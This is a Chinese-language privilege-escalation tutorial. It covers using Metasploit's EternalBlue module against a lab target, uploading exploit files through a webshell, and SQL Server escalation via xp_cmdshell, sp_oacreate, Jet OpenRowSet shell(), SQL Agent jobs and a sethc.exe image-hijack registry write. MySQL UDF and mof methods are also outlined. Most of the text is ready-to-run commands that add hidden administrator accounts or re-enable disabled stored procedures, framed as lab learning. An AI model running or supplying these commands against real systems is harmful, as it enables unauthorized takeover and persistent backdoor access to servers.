提权:
防护措施:
在Windows中安装apache后,要单独为其创建一个账户,只给启动服务的权限,防止攻击者通过apache直接获得system权限,Linux同理。
IIS中网站为什么使用匿名登录?
任何windows服务都会对应一个账号来运行:
Windows安装IIS后,在计算机管理---系统工具---本地用户和组---用户中都会有IUSER和IWAM两个用户,IUSER可以匿名访问内置账户。
打开IIS中网站的属性,目录安全性---身份验证和访问控制---编辑。
匿名访问可以让陌生人访问本网站时不用输入用户名和密码,默认以IUSER的账户登录。
为什么要提权?
上传大马后,在shell中的cmd.exe中执行命令时,往往需要勾选如图红框所示选项才能成功执行。
如果cmd.exe不能执行命令,可能是来宾没有权限执行目标主机系统命令中的cmd.exe。
输入whoami,发现是验证的网络服务权限,只能查看用户,不能创建或删除用户,所以我们就需要提权操作。
提权结果:
Windows:user>>>system
Linux:user>>>root
提权分类:
- 远程提权-远程代码执行RCE
远程可直接利用,例如ms17-010
- 本地提权-本地代码执行LCE
一般借助webshell
远程利用漏洞攻击提权:
准备:
- kali虚拟机ISO镜像 --装成虚拟机
- metasploitable-linux-2.0.0漏洞靶机
metasploit教程:
https://blog.csdn.net/jiangliuzheng/article/details/50546783
打开kali虚拟机的终端,输入
msfconsole
成功启动metasploit。
找到要利用的漏洞,输入
search ms17-010
选择其中的攻击脚本使用,输入
use exploit/windows/smb/ms17_010_eternalblue
输入info,查看攻击脚本帮助。
输入show options,查看当前攻击脚本配置。
输入nmap 192.168.18.21,扫描目标主机开放端口有哪些。
输入exploit,成功拿到目标主机shell。
输入whoami,发现是system权限。
输入ipconfig,发现是目标主机的IP。
利用远程溢出漏洞获取shell过程:
- 知道目标主机系统
- 知道目标主机系统存在哪些漏洞
- 知道目标主机溢出漏洞利用的端口号是否开启
- 使用metasploit脚本攻击平台获取shell
本地代码执行LCE提权:
- 操作系统本地RCE漏洞
- 第三方软件漏洞
- 数据库利用
基于系统漏洞本地提权过程:
Windows系统在cmd中的快速检测漏洞编号脚本:
2003:
systeminfo>a.txt&(for %i in (KB952004 KB956572 KB970483 KB2160329 KB977165 KB2124261 KB2271195 KB2503665 KB2592799 KB2621440 KB2707511 KB2829361 KB2850851 KB2914368 KB3000061 KB3013455 KB3031432 KB3045171 KB3077657) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
2003以上:
systeminfo>a.txt&(for %i in (KB3077657 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type a.txt|@find /i “%i”|| @echo %i Not Installed!)&del /f /q /a a.txt
1.操作系统本地REC漏洞(原理:利用大马或小马文件上传)
- 利用大马上传创建用户的exp文件,上传成功后记住上传的路径,在cmd下访问该文件,完成自动创建用户操作。
- 上传获取shell的exp文件,上传成功后记住上传的路径,在cmd下访问该文件后跟高权限命令,即可执行system权限操作。
2.数据库提权(原理:利用数据库的存储过程进行提权)
无论时SQL server还是MySQL,提权的前提都需要获得管理员账号和密码。
因为上传大马或者一句话后,数据库连接管理中都会需要配置相应的管理员账号和密码才能连接数据库。
SQL server
一、利用xp_cmdshell存储过程提权(调用数据库自带命令执行高权限语句)
1、提权命令:
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add' --执行系统命令可获得高权限
2、常见问题与解决方法如下:
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ; --判断xp_cmdshell是否存在(返回1,存在;0,不存在)
and 1=(select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'); --由此可构造注入语句。
EXEC sp_configure 'show advanced options', 1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为“0”
RECONFIGURE ; --以上命令开启用xp_cmdshell
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'; --通过系统默认的xplog70.dll恢复存储过程
exec sp_addextendedproc 'xp_cmdshell','C: xplog70.dll';--通过自己上传的xplog70.dll恢复存储过程
二、利用sp_oacreate和sp_oamethod提权存储过程提权(调用数据库自带命令执行高权限语句)
declare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'; --利用其提权创建账户(语句需要同时执行)
常见问题与解决方法如下:
1、存储过程未启用
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;
RECONFIGURE; --以上命令同时执行,开启sp-ascreate。默认2005中是禁用的。2000中默认开启。
2、存储过程被删除
dbcc addextendedproc ("sp_oacreate","odsole70.dll");--恢复存储过程
三、利用沙盒提权(沙盒模式默认禁止使用shell和kill等高权限命令,关闭沙盒模式再执行)
1、用xp_regwrite这个存储过程对注册表进行写操作,关掉沙盒模式。SQL语句为:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0
2、提权命令:添加一个帐号和密码都为sql$的帐号,同时加入管理员组
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user sql$ 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators sql$ /add")');
3、常见问题与解决办法
注意:SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
四、利用自动化任务JOB提权(在作业任务中执行高权限语句)
1、启动sqlagent服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
2、创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';
五、利用xp_regwrite函数进行映像劫持提权
1、利用regwrite函数修改注册表,起到劫持作用
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
2、检查是否劫持成功
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'
MySQL
一、UDF提权
利用webshell上传UDF.php,访问该提权工具,输入信息后点击提交。
1.导出udf.dll
2.基于udf.dll创建自定义函数cmdshell
3.利用自定义函数,执行高权限cmd命令
注意:
Linux中MySQL默认低权限。
二、mof文件提权
原理:
新建mof文件上传到mof目录下。
提权过程:
利用工具远程管理数据库:
1.SQL TOOLS远程连接目标主机SQL server数据库:
2.河马mysql弱口令利用工具远程连接目标主机MySQL数据库:
3.如果知道数据库弱口令的话,可以利用phpmyadmin远程图形化管理数据库。